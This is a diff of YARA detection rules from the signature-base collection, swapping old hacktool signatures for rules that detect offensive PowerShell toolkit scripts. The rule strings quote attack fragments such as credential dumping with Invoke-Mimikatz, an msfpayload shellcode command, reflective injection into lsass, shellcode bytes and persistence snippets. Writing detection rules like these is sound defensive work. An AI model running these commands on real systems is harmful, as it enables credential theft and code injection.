-		$s1 = "2TInject.Dll" fullword ascii
-		$s2 = "Windows Services" fullword ascii
-		$s3 = "Findrst6" fullword ascii
-		$s4 = "Press Any Key To Continue......" fullword ascii
+		$s1 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list vdir /text:vdir.name\" | % { " fullword ascii
+		$s2 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list apppools /text:name\" | % { " fullword ascii
+		$s3 = "if ($Env:PROCESSOR_ARCHITECTURE -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBNAEQANgA0AA==')))) {" fullword ascii
+		$s4 = "C:\\Windows\\System32\\InetSRV\\appcmd.exe list vdir /text:physicalpath | " fullword ascii
+		$s5 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe\"))" fullword ascii
+		$s6 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\InetSRV\\appcmd.exe\")) {" fullword ascii
+		$s7 = "Write-Verbose \"Executing command '$Cmd'\"" fullword ascii
+		$s8 = "Write-Warning \"[!] Target service" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0xbbef and filesize <4000KB and 1 of them ) or (3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Gina_Zip_Folder_Gina
+rule SIGNATURE_BASE_Ps1_Toolkit_Inveigh_Bruteforce : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file gina.dll"
+		description = "Auto-generated rule - file Inveigh-BruteForce.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7ebc7218-9c7b-5595-ae7b-f316fc99d1f6"
-		date = "2014-11-23"
+		id = "cdc298d3-f9ac-5472-bdc9-0dc51ad91e4a"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2647-L2667"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e0429e1b59989cbab6646ba905ac312710f5ed30"
-		logic_hash = "1344634346f9e7e3ef96c901705ac7bd4aa9a70cfbebf71c8222544e84ca9f98"
-		score = 60
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L33-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b23b6ad66e054e435415464262004ead6e7ee121185d76c02110506293b3867b"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
 
 	strings:
-		$s0 = "NEWGINA.dll" fullword ascii
-		$s1 = "LOADER ERROR" fullword ascii
-		$s3 = "WlxActivateUserShell" fullword ascii
-		$s6 = "WlxWkstaLockedSAS" fullword ascii
-		$s13 = "WlxIsLockOk" fullword ascii
-		$s14 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
-		$s16 = "WlxShutdown" fullword ascii
-		$s17 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+		$s1 = "Import-Module .\\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 " fullword ascii
+		$s2 = "$(Get-Date -format 's') - Attempting to stop HTTP listener\")|Out-Null" fullword ascii
+		$s3 = "Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0xbbef and filesize <300KB and 1 of them ) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Superscan3_0
+rule SIGNATURE_BASE_Ps1_Toolkit_Invoke_Shellcode : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file superscan3.0.exe"
+		description = "Auto-generated rule - file Invoke-Shellcode.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d22aa3ae-4c62-5007-896d-7c473f0421a6"
-		date = "2014-11-23"
+		id = "193d64b6-ffba-55fb-ab95-9c78552b8d68"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2669-L2690"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a9a02a14ea4e78af30b8b4a7e1c6ed500a36bc4d"
-		logic_hash = "448d3af61062c53c5b148e58697537bd98316e6c6d4d9ed9e0ff36cbd5a0b4f5"
-		score = 60
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L51-L69"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "03e9a8c5e45781d73fd13c331d82802a18e4255b506e896019d6f08c5a67dedf"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "24abe9f3f366a3d269f8681be80c99504dea51e50318d83ee42f9a4c7435999a"
 
 	strings:
-		$s0 = "\\scanner.ini" ascii
-		$s1 = "\\scanner.exe" ascii
-		$s2 = "\\scanner.lst" ascii
-		$s4 = "\\hensss.lst" ascii
-		$s5 = "STUB32.EXE" fullword wide
-		$s6 = "STUB.EXE" fullword wide
-		$s8 = "\\ws2check.exe" ascii
-		$s9 = "\\trojans.lst" ascii
-		$s10 = "1996 InstallShield Software Corporation" fullword wide
+		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
+		$s2 = "Get-ProcAddress kernel32.dll OpenProcess" fullword ascii
+		$s3 = "msfpayload windows/exec CMD=\"cmd /k calc\" EXITFUNC=thread C | sed '1,6d;s/[\";]//g;s/\\\\/,0/g' | tr -d '\\n' | cut -c2- " fullword ascii
+		$s4 = "inject shellcode into" ascii
+		$s5 = "Injecting shellcode" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0xbbef and filesize <90KB and 1 of them ) or (3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Xsniff
+rule SIGNATURE_BASE_Ps1_Toolkit_Invoke_Mimikatz : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file xsniff.exe"
+		description = "Auto-generated rule - file Invoke-Mimikatz.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1e61a732-8691-5f84-beb0-c9f7e6d46538"
-		date = "2014-11-23"
+		id = "7c0252a1-fbe4-5519-949b-285073abb21f"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2692-L2713"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
-		logic_hash = "90c08db197a00885ffc62967bd814479a438f500316cf65e81fcec617517dd9c"
-		score = 60
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L71-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bca6245befb5183f6a45406823c45267b0a31fb0d4505606b98025f6494f2cc"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
 
 	strings:
-		$s2 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
-		$s3 = "%s - simple sniffer for win2000" fullword ascii
-		$s4 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
-		$s5 = "HOST: %s USER: %s, PASS: %s" fullword ascii
-		$s7 = "http://www.xfocus.org" fullword ascii
-		$s9 = "  -pass        : Filter username/password" fullword ascii
-		$s18 = "  -udp         : Output udp packets" fullword ascii
-		$s19 = "Code by glacier <glacier@xfocus.org>" fullword ascii
-		$s20 = "  -tcp         : Output tcp packets" fullword ascii
+		$s1 = "Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
+		$s2 = "ps | where { $_.Name -eq $ProcName } | select ProcessName, Id, SessionId" fullword ascii
+		$s3 = "privilege::debug exit" ascii
+		$s4 = "Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" fullword ascii
+		$s5 = "Invoke-Mimikatz -DumpCreds" fullword ascii
+		$s6 = "| Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002" fullword ascii
 
 	condition:
-		6 of them
+		( uint16(0)==0xbbef and filesize <10000KB and 1 of them ) or (3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Fscan
+rule SIGNATURE_BASE_Ps1_Toolkit_Invoke_Relfectivepeinjection : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file fscan.exe"
+		description = "Auto-generated rule - file Invoke-RelfectivePEInjection.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7af4d38a-bc88-57ba-b602-4e01d3d95015"
-		date = "2014-11-23"
+		id = "75ceb01e-103f-55b2-8362-42d22a35a36a"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2715-L2736"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d5646e86b5257f9c83ea23eca3d86de336224e55"
-		logic_hash = "0af558345e8c85021fd4f8d399dacb3b6e8d9c692060c31a36e943fc48bfabff"
-		score = 60
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L92-L111"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "910b8b1dbc7306369f90eae0dfd5949347b2c41fa0eb5f590aed8e90e8db199a"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
 
 	strings:
-		$s0 = "FScan v1.12 - Command line port scanner." fullword ascii
-		$s2 = " -n    - no port scanning - only pinging (unless you use -q)" fullword ascii
-		$s5 = "Example: fscan -bp 80,100-200,443 10.0.0.1-10.0.1.200" fullword ascii
-		$s6 = " -z    - maximum simultaneous threads to use for scanning" fullword ascii
-		$s12 = "Failed to open the IP list file \"%s\"" fullword ascii
-		$s13 = "http://www.foundstone.com" fullword ascii
-		$s16 = " -p    - TCP port(s) to scan (a comma separated list of ports/ranges) " fullword ascii
-		$s18 = "Bind port number out of range. Using system default." fullword ascii
-		$s19 = "fscan.exe" fullword wide
+		$x1 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)" fullword ascii
+		$x2 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local" fullword ascii
+		$x3 = "} = Get-ProcAddress Advapi32.dll OpenThreadToken" ascii
+		$x4 = "Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local" fullword ascii
+		$s5 = "$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')" fullword ascii
+		$s6 = "= Get-ProcAddress Advapi32.dll AdjustTokenPrivileges" ascii
 
 	condition:
-		4 of them
+		( uint16(0)==0xbbef and filesize <700KB and 2 of them ) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE__Iissample_Nesscan_Twwwscan
+rule SIGNATURE_BASE_Ps1_Toolkit_Persistence : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - from files iissample.exe, nesscan.exe, twwwscan.exe"
+		description = "Auto-generated rule - file Persistence.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a710ca8e-54dc-5a98-b173-c87b22af745f"
-		date = "2014-11-23"
+		id = "38115391-75ac-5ba8-b31b-dcf4c66179b0"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2738-L2764"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6088dd060507f4efa2f4c1770dc746100966e8a7475859918488d7be6c96bc31"
-		score = 60
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L113-L134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bfe6b20fb712fcf7b45d0ef80075bc9a254867d2251109f377a378f887b38494"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "7f20962bbc6890bf48ee81de85d7d76a8464b862"
-		hash1 = "c0b1a2196e82eea4ca8b8c25c57ec88e4478c25b"
-		hash2 = "548f0d71ef6ffcc00c0b44367ec4b3bb0671d92f"
+		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
 
 	strings:
-		$s0 = "Connecting HTTP Port - Result: " fullword
-		$s1 = "No space for command line argument vector" fullword
-		$s3 = "Microsoft(July/1999~) http://www.microsoft.com/technet/security/current.asp" fullword
-		$s5 = "No space for copy of command line" fullword
-		$s7 = "-  Windows NT,2000 Patch Method  - " fullword
-		$s8 = "scanf : floating point formats not linked" fullword
-		$s12 = "hrdir_b.c: LoadLibrary != mmdll borlndmm failed" fullword
-		$s13 = "!\"what?\"" fullword
-		$s14 = "%s Port %d Closed" fullword
-		$s16 = "printf : floating point formats not linked" fullword
-		$s17 = "xxtype.cpp" fullword
+		$s1 = "\"`\"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```\"root\\subscription```" ascii
+		$s2 = "}=$PROFILE.AllUsersAllHosts;${" ascii
+		$s3 = "C:\\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup" ascii
+		$s4 = "= gwmi Win32_OperatingSystem | select -ExpandProperty OSArchitecture" ascii
+		$s5 = "-eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAxADQAQwA='))))" ascii
+		$s6 = "}=$PROFILE.CurrentUserAllHosts;${" ascii
+		$s7 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
+		$s8 = "[System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0xbbef and filesize <200KB and 2 of them ) or (4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE__Fshttp_Fspop_Fssniffer
+rule SIGNATURE_BASE_Ps1_Toolkit_Invoke_Mimikatz_Relfectivepeinjection : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - from files FsHttp.exe, FsPop.exe, FsSniffer.exe"
+		description = "Auto-generated rule - from files Invoke-Mimikatz.ps1, Invoke-RelfectivePEInjection.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5ca543af-2589-52b0-83f9-ad25ba76b633"
-		date = "2014-11-23"
+		id = "e9471f95-48e1-57e0-b0be-f916c574a6a7"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2766-L2792"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "50c91f1036ae467de51227b6782978c33607f94724d2e1b0af7c958028a84b48"
-		score = 60
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L136-L162"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "220597cb76c189adc33a9ac740c8164b52743f61523898aefb7a74206b23b76b"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 		super_rule = 1
-		hash0 = "9d4e7611a328eb430a8bb6dc7832440713926f5f"
-		hash1 = "ae23522a3529d3313dd883727c341331a1fb1ab9"
-		hash2 = "7ffc496cd4a1017485dfb571329523a52c9032d8"
+		hash1 = "5c31a2e3887662467cfcb0ac37e681f1d9b0f135e6dfff010aae26587e03d8c8"
+		hash2 = "510b345f821f93c1df5f90ac89ad91fcd0f287ebdabec6c662b716ec9fddb03a"
 
 	strings:
-		$s0 = "-ERR Invalid Command, Type [Help] For Command List" fullword
-		$s1 = "-ERR Get SMS Users ID Failed" fullword
-		$s2 = "Control Time Out 90 Secs, Connection Closed" fullword
-		$s3 = "-ERR Post SMS Failed" fullword
-		$s4 = "Current.hlt" fullword
-		$s6 = "Histroy.hlt" fullword
-		$s7 = "-ERR Send SMS Failed" fullword
-		$s12 = "-ERR Change Password <New Password>" fullword
-		$s17 = "+OK Send SMS Succussifully" fullword
-		$s18 = "+OK Set New Password: [%s]" fullword
-		$s19 = "CHANGE PASSWORD" fullword
+		$s1 = "[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
+		$s2 = "if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)" fullword ascii
+		$s3 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)" fullword ascii
+		$s4 = "Function Import-DllInRemoteProcess" fullword ascii
+		$s5 = "FromBase64String('QwBvAG4AdABpAG4AdQBlAA==')))" fullword ascii
+		$s6 = "[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)" fullword ascii
+		$s7 = "[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)" fullword ascii
+		$s8 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null" fullword ascii
+		$s9 = "::FromBase64String('RABvAG4AZQAhAA==')))" ascii
+		$s10 = "Write-Verbose \"PowerShell ProcessID: $PID\"" fullword ascii
+		$s11 = "[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0xbbef and filesize <10000KB and 3 of them ) or (6 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ammyy_Admin_AA_V3
+rule SIGNATURE_BASE_Ps1_Toolkit_Inveigh_Bruteforce_2 : FILE
 {
 	meta:
-		description = "Remote Admin Tool used by APT group Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe"
+		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bb140cb7-9f56-5acb-883e-080dfd3f60d5"
-		date = "2014-12-22"
+		id = "1319b03d-67e8-5155-8037-e3375e39f6a0"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/gkAg2E"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2794-L2818"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ab1de9f3b58cdb2c03f2d72986772333f8b81c98e6cbfd941f20b2fed1c5ff2"
-		score = 55
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L164-L181"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5c035898a9574e2516cbc66efcf57f7380fd979c4a5099f8a0a190ad21af32c0"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b130611c92788337c4f6bb9e9454ff06eb409166"
-		hash2 = "07539abb2623fe24b9a05e240f675fa2d15268cb"
+		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
 
 	strings:
-		$x1 = "S:\\Ammyy\\sources\\target\\TrService.cpp" fullword ascii
-		$x2 = "S:\\Ammyy\\sources\\target\\TrDesktopCopyRect.cpp" fullword ascii
-		$x3 = "Global\\Ammyy.Target.IncomePort" fullword ascii
-		$x4 = "S:\\Ammyy\\sources\\target\\TrFmFileSys.cpp" fullword ascii
-		$x5 = "Please enter password for accessing remote computer" fullword ascii
-		$s1 = "CreateProcess1()#3 %d error=%d" fullword ascii
-		$s2 = "CHttpClient::SendRequest2(%s, %s, %d) error: invalid host name." fullword ascii
-		$s3 = "ERROR: CreateProcessAsUser() error=%d, session=%d" fullword ascii
-		$s4 = "ERROR: FindProcessByName('explorer.exe')" fullword ascii
+		$s1 = "}.NTLMv2_file_queue[0]|Out-File ${" ascii
+		$s2 = "}.NTLMv2_file_queue.RemoveRange(0,1)" ascii
+		$s3 = "}.NTLMv2_file_queue.Count -gt 0)" ascii
+		$s4 = "}.relay_running = $false" ascii
 
 	condition:
-		2 of ($x*) or all of ($s*)
+		( uint16(0)==0xbbef and filesize <200KB and 2 of them ) or (4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Linuxhacktool_Eyes_Scanssh
+rule SIGNATURE_BASE_Ps1_Toolkit_Powerup_2 : FILE
 {
 	meta:
-		description = "Linux hack tools - file scanssh"
+		description = "Auto-generated rule - from files PowerUp.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9546d0d8-42af-5b4c-ac93-195d14bfbb5b"
-		date = "2015-01-19"
+		id = "11322a66-67d4-574b-acef-35d06e6f95f4"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2822-L2847"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "467398a6994e2c1a66a3d39859cde41f090623ad"
-		logic_hash = "cb20c28f1767ce23f60c377943d8a129fa069b1a1407bbaf43370f0ff79ade30"
-		score = 75
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L183-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8cbd86f103d8b49e72787cbb85fc97e6a02d5332039ce29359cb673c273760b7"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
 
 	strings:
-		$s0 = "Connection closed by remote host" fullword ascii
-		$s1 = "Writing packet : error on socket (or connection closed): %s" fullword ascii
-		$s2 = "Remote connection closed by signal SIG%s %s" fullword ascii
-		$s4 = "Reading private key %s failed (bad passphrase ?)" fullword ascii
-		$s5 = "Server closed connection" fullword ascii
-		$s6 = "%s: line %d: list delimiter not followed by keyword" fullword ascii
-		$s8 = "checking for version `%s' in file %s required by file %s" fullword ascii
-		$s9 = "Remote host closed connection" fullword ascii
-		$s10 = "%s: line %d: bad command `%s'" fullword ascii
-		$s13 = "verifying that server is a known host : file %s not found" fullword ascii
-		$s14 = "%s: line %d: expected service, found `%s'" fullword ascii
-		$s15 = "%s: line %d: list delimiter not followed by domain" fullword ascii
-		$s17 = "Public key from server (%s) doesn't match user preference (%s)" fullword ascii
+		$s1 = "if($MyConString -like $([Text.Encoding]::Unicode.GetString([Convert]::" ascii
+		$s2 = "FromBase64String('KgBwAGEAcwBzAHcAbwByAGQAKgA=')))) {" ascii
+		$s3 = "$Null = Invoke-ServiceStart" ascii
+		$s4 = "Write-Warning \"[!] Access to service $" ascii
+		$s5 = "} = $MyConString.Split(\"=\")[1].Split(\";\")[0]" ascii
+		$s6 = "} += \"net localgroup ${" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0xbbef and filesize <2000KB and 2 of them ) or (4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Linuxhacktool_Eyes_Pscan2
+rule SIGNATURE_BASE_Ps1_Toolkit_Persistence_2 : FILE
 {
 	meta:
-		description = "Linux hack tools - file pscan2"
+		description = "Auto-generated rule - from files Persistence.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "02d96766-6696-5410-ad48-bd8cb642ac51"
-		date = "2015-01-19"
+		id = "d79c328b-4471-52bb-882c-12d2e1302c1e"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2849-L2867"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "56b476cba702a4423a2d805a412cae8ef4330905"
-		logic_hash = "3686ccbd53a6dcedf9b10d131a1fc76b51b265328ad10f63671b64d4bf57a0b6"
-		score = 75
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L204-L226"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "47d1c3593edeba02e1c08cc53b4ba3d375b73dd04816b84e807e28be2bcf917e"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e1a4dd18b481471fc25adea6a91982b7ffed1c2d393c8c17e6e542c030ac6cbd"
 
 	strings:
-		$s0 = "# pscan completed in %u seconds. (found %d ips)" fullword ascii
-		$s1 = "Usage: %s <b-block> <port> [c-block]" fullword ascii
-		$s3 = "%s.%d.* (total: %d) (%.1f%% done)" fullword ascii
-		$s8 = "Invalid IP." fullword ascii
-		$s9 = "# scanning: " fullword ascii
-		$s10 = "Unable to allocate socket." fullword ascii
+		$s1 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBPAG4ASQBkAGwAZQA=')" ascii
+		$s2 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBEAGEAaQBsAHkA')" ascii
+		$s3 = "FromBase64String('UAB1AGIAbABpAGMALAAgAFMAdABhAHQAaQBjAA==')" ascii
+		$s4 = "[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]" ascii
+		$s5 = "FromBase64String('UwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAHQATABvAGcAbwBuAA==')))" ascii
+		$s6 = "[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]" fullword ascii
+		$s7 = "FromBase64String('TQBlAHQAaABvAGQA')" ascii
+		$s8 = "FromBase64String('VAByAGkAZwBnAGUAcgA=')" ascii
